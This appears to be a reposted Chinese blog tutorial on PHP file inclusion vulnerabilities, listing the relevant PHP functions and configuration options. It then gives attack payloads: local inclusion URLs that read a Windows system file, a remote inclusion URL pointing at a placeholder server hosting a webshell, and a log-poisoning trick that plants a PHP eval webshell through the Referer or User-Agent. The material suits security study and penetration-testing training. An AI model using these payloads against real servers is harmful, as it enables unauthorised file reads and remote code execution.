标签:文件名 pre access filename medium 包含 字符串 adf 检查
include():包含并运行指定文件,如果最后仍未找到文件则 include 结构会发出一条警告,只产生警告(E_WARNING),脚本会继续运行
require():包含并运行指定文件,require 在出错时产生 E_COMPILE_ERROR 级别的错误,停止脚本继续运行
include_once():include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。
require_once():唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含
higlight_file():语法高亮一个文件,高亮后的代码不会被打印输出,而是以字符串的形式返回。 高亮成功返回 TRUE
show_source():对文件进行语法高亮显示,别名 highlight_file()
readfile():输出文件,读取文件并写入到输出缓冲
file_get_contents():将整个文件读入一个字符串
fopen():打开文件或者 URL,将 filename 指定的名字资源绑定到一个流上
file():把整个文件读入一个数组中
两个关键的配置文件:allow_url_include、allow_url_open
默认开启
默认关闭
PS:allow_url_include、allow_url_open两个选项同时开启的情况下:还可以远程包含远程服务器的马儿
payload:http://127.0.0.1/baohan.php?file=文件目录(c:/windows/system.ini)
payload:http://127.0.0.1/baohan.php?file=http://xxx.xxx.xxx.xxx/include.php?file=文件目录(c:/windows/system.ini)
web服务器,基本上把请求写入到日志文件中,有的是access.log,有的是error.log,所以,我们可以尝试,写一些奇怪的数据,例如<?php eval($_POST[‘cmd])?>,然后让访问出错,这个就会被记录到日志文件中去,然后,我们利用本地包含,去包含这个日志文件,相当于我们得到了一个shell。
可以在url里面写入shell数据,也可以在referer或者ua中写入,但是,这个写入尽量要使用抓包改包工具,例如Burp Suite来写入,因为浏览器,会给我们转码。造成包含不成功。
标签:文件名 pre access filename medium 包含 字符串 adf 检查
原文地址:https://www.cnblogs.com/LeeeBoom/p/12361453.html